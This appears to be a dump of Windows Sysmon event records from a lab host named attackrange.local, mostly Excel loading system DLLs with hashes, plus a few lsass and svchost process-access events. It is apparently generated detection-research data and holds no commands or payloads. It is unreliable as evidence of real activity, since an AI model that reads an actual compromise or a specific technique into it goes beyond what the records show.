14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\slc.dll10.0.14393.67 (rs1_release.160804-2231)Software Licensing Client DllMicrosoft® Windows® Operating SystemMicrosoft Corporationslc.dllMD5=060E11DCB875D981E948073986E295DC,SHA256=30858EA58F24537CC3369091F92AD70C59877BDB1FDF8DEC7762A7AB72DDE885,IMPHASH=70AAA0F56F084D1AE09EB5CD51B268ECtrueMicrosoft WindowsValid 734700x800000000000000048688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000048687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wbemcomn.dll10.0.14393.4530 (rs1_release.210705-0736)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemcomn.dllMD5=91E2160941219FFEBE4093E6681BE4CF,SHA256=3B8AA86EAF2200F53A6EB57B08A34F1BA5E467B72E5002C3BCBF20AF40D98CD1,IMPHASH=69BCD1B17DF0CA323B0C1639784D745BtrueMicrosoft WindowsValid 734700x800000000000000048686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000048685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.571{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000048684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.555{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000048683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.540{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000048682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.540{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000048681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.540{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wininet.dll11.00.14393.4583 (rs1_release.210730-1850)Internet Extensions for Win32Internet ExplorerMicrosoft Corporationwininet.dllMD5=524876363DA8F469C13E0818256B6131,SHA256=DAA85FEAB4553D9A203A85A58C8CB26A2784E0D33226B41AAE98471DAE75C035,IMPHASH=B3ABC7D59C2B1ACAEECA63C53B0AAC4BtrueMicrosoft WindowsValid 734700x800000000000000048680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.540{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ADAL.DLL3.4.1.35249ADAL.NativeMicrosoft© ADALMicrosoftadal.dllMD5=83940B529D140372B1FF153CF83E478D,SHA256=1D246C806D9F170AAC09E8AA3507553B7833BA2067B81150588444B3C93BAADB,IMPHASH=B9F6A0D18416DEC1580419AB5B1F9EB8trueMicrosoft CorporationValid 23542300x800000000000000048679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.540{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E889568921C23E77E4286FBA36647D9,SHA256=3DF3A5E78B44BDE56D674FC89A13C6FC0BC01136885E64765C1B26839D102B0E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000048678Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\Office16\MSOARIA.DLL16.0.55555.10000Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMsoAria.dllMD5=2357126682CE4CAB2E5963883400D41D,SHA256=878BF317D30612C970E2EFDF93C3F22BF360D0304CFB54E96D638E8A5DE24E51,IMPHASH=8B79B74A0917AC0A2DAFE46F81C7FF90trueMicrosoft CorporationValid 734700x800000000000000048677Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000048676Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000048675Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\webservices.dll10.0.14393.2312 (rs1_release.180607-1919)Windows Web Services RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationWebServices.dllMD5=3EE43755685D59060FAC0E2F09D67686,SHA256=BF80D9B840C28BC4E8FE9A4E6DBCCCAEE37A108F83428ABA1DD780D5312369D8,IMPHASH=21CAA202FAEFBDF78B727F64E8C79245trueMicrosoft WindowsValid 734700x800000000000000048674Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\WinTypes.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Base Types DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWinTypes.dllMD5=9F209F29ABFF007F55328BCC36367005,SHA256=7F2CBE9B349062DFD782032D50C335E6C292EC5F509746941982A7161F24ED84,IMPHASH=58F905117CF0434AF54A7CD9D43EEF30trueMicrosoft WindowsValid 734700x800000000000000048673Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\DWrite.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft DirectX Typography ServicesMicrosoft® Windows® Operating SystemMicrosoft CorporationDWriteMD5=1875083243EE498D0B2BB6B025AD7520,SHA256=A3FA592126642537BF6F0E4E9750A43A899525FE616DE899ABD7F26A9E7620C4,IMPHASH=4DF173E853B52F621D05CC337B9F72CEtrueMicrosoft WindowsValid 734700x800000000000000048672Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dpapi.dll10.0.14393.0 (rs1_release.160715-1616)Data Protection APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdpapi.dllMD5=927EA28A3F416A5A5E9FC638CA245EF5,SHA256=D399633CC99D754DD999BB4FFADD768FEA82F57A0241809117AD786DC33DD30E,IMPHASH=8F811B713271A0FEFA798FB95D523A8BtrueMicrosoft WindowsValid 734700x800000000000000048671Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\npmproxy.dll10.0.14393.4169 (rs1_release.210107-1130)Network List Manager ProxyMicrosoft® Windows® Operating SystemMicrosoft Corporationnpfproxy.dllMD5=4D76C6FAF3D01B31A68C9ABF95F4B7D4,SHA256=9B771613C067880E99ED3D68E6C2A43C6B252E899D44682ADEB5A7F02E925920,IMPHASH=55727E718711848BBCDC7F433974B473trueMicrosoft WindowsValid 734700x800000000000000048670Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.524{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll4.8.4180.0 built by: NET48REL1LAST_BMicrosoft .NET Runtime Execution EngineMicrosoft® .NET FrameworkMicrosoft Corporationmscoreei.dllMD5=899A8B655E52A061B33571D97C5C06ED,SHA256=DE05B03E37FB9BA5D74CF8FA36A6F0B15AB61705285B738BC90D14FDE580A45E,IMPHASH=005299FA213F652A596AC31760C5340BtrueMicrosoft CorporationValid 734700x800000000000000048669Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.509{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000048668Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.509{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msvcp110_win.dll10.0.14393.2007 (rs1_release.171231-1800)Microsoft® STL110 C++ Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp110_win.dllMD5=BFB390484F611C21582AD11E4C6ADEF2,SHA256=30B5AD268C022FCA2AACAE2CB6E4DC36F6A01C16A006046BB4417CEA96DA4F5A,IMPHASH=80A56C2FEE02149B4E326F9A62FF4B12trueMicrosoft WindowsValid 734700x800000000000000048667Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.509{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dsreg.dll10.0.14393.4467 (rs1_release.210604-1844)AD/AAD User Device RegistrationMicrosoft® Windows® Operating SystemMicrosoft Corporationdsreg.dllMD5=79A9D7EA2FEAEF86876FFD1B6D1CB6C1,SHA256=A1BA47F25235AA03E37B420DA61B68E1F3165A590B15AAC43894613A88250018,IMPHASH=E8BB9C37B47F089EC5F0B7E4C7A2B72EtrueMicrosoft WindowsValid 734700x800000000000000048666Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.509{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000048665Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.509{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\mscoree.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft .NET Runtime Execution EngineMicrosoft® Windows® Operating SystemMicrosoft Corporationmscoree.dllMD5=5ECE402D7E12EC3750D044BF3D878DF6,SHA256=3F02B1AE7B61BC36B04EA2B82ED79F112219F4E9668518030FF14B005E2C9BBC,IMPHASH=12E8F895FFFE1065F24D148EC1ED3096trueMicrosoft WindowsValid 734700x800000000000000048664Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\twinapi.appcore.dll10.0.14393.4169 (rs1_release.210107-1130)twinapi.appcoreMicrosoft® Windows® Operating SystemMicrosoft Corporationtwinapi.appcore.dllMD5=B877C5BDEA2215B3D3CF89F645EB535C,SHA256=2F5468CC4277C8CB4B2AD1095AFC739ECAE0F0B6EE78E57BF64A97F3BDA54C19,IMPHASH=52DACB9FFE8B422785C607A5B88982C7trueMicrosoft WindowsValid 10341000x800000000000000048663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\Windows.Security.Authentication.Web.Core.dll10.0.14393.4169 (rs1_release.210107-1130)Token Broker WinRT APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Security.Authentication.Web.Core.dllMD5=E3AB65431FF6EA142FECF301220904D0,SHA256=60F168A317109BA364699F1FA1A2DDD8E5B0008A16CD7F1DB80583848DFCA7CF,IMPHASH=5D6DEAB27561AE10405A1329A2A1D871trueMicrosoft WindowsValid 734700x800000000000000048661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\normaliz.dll10.0.14393.0 (rs1_release.160715-1616)Unicode Normalization DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnormaliz.dllMD5=65930A2C537774A8CBB0A1BE20266D51,SHA256=2879DECC03521C385C5D29381B002E7B70BB448BC2787D9C08174592C7D80BC8,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000048660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\netprofm.dll10.0.14393.4169 (rs1_release.210107-1130)Network List ManagerMicrosoft® Windows® Operating SystemMicrosoft Corporationnetprofm.dllMD5=02AD37C3C2D54BCD9E7BD2AFF3D6E7A6,SHA256=D71D631EC1790A9BD9451EFAEFC7EBADE6353A17CDBB4D8AAACD3102430A686E,IMPHASH=421DFA99869D231800F1E7ABEE7E4DA4trueMicrosoft WindowsValid 734700x800000000000000048659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.493{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000048658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.477{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.477{7BD73061-65B0-613B-0B00-00000000F001}6202908C:\Windows\system32\lsass.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.477{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000048655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.477{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000048654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.446{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\d3d10warp.dll10.0.14393.2608 (rs1_release.181024-1742)Direct3D 10 RasterizerMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D10Warp.dllMD5=B69F0419A16A616FE2D779EC98CD7FB9,SHA256=2D10B43F2137433E48A009227487C691E312D186691485D33B4FDF90D8423C9D,IMPHASH=E32C7474360C94A9FE5E17141A4AB35FtrueMicrosoft WindowsValid 734700x800000000000000048653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.446{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\d3d11.dll10.0.14393.4467 (rs1_release.210604-1844)Direct3D 11 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D11.dllMD5=F940A91B13592184F228ECC14D8D9358,SHA256=2BC05A4D09CDBAB8DB5F767DC95F31B2CA324928A94F004C7C2968E3E9E635E2,IMPHASH=460DAE5CA92CB705C37D78BE630D6120trueMicrosoft WindowsValid 734700x800000000000000048652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.446{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 734700x800000000000000048651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000048650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msi.dll5.0.14393.4530Windows InstallerWindows Installer - UnicodeMicrosoft Corporationmsi.dllMD5=4479EEB5C5400D4C084274BA015750FA,SHA256=6B30AE7147132038E603EEB2D35C35BB3D03EC5AFA560D31969E2D39A44ACDCD,IMPHASH=702DDC1509DE604C8D612A66E9E39DACtrueMicrosoft WindowsValid 734700x800000000000000048649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.399{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ResourcePolicyClient.dll10.0.14393.3808 (rs1_release.200707-2105)Resource Policy ClientMicrosoft® Windows® Operating SystemMicrosoft CorporationResourcePolicyClient.dllMD5=8FD5FEFE4E020BBC2D95F07BCDC84F71,SHA256=E5E351822CCDEBF81C47C4CA1D5C158E2880C1BD29CA024D163FD9316F3046AE,IMPHASH=E494F732179E765F2CE18BC21CDB1948trueMicrosoft WindowsValid 10341000x800000000000000048648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+163fd|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d6162|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.399{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\dxgi.dll10.0.14393.2457 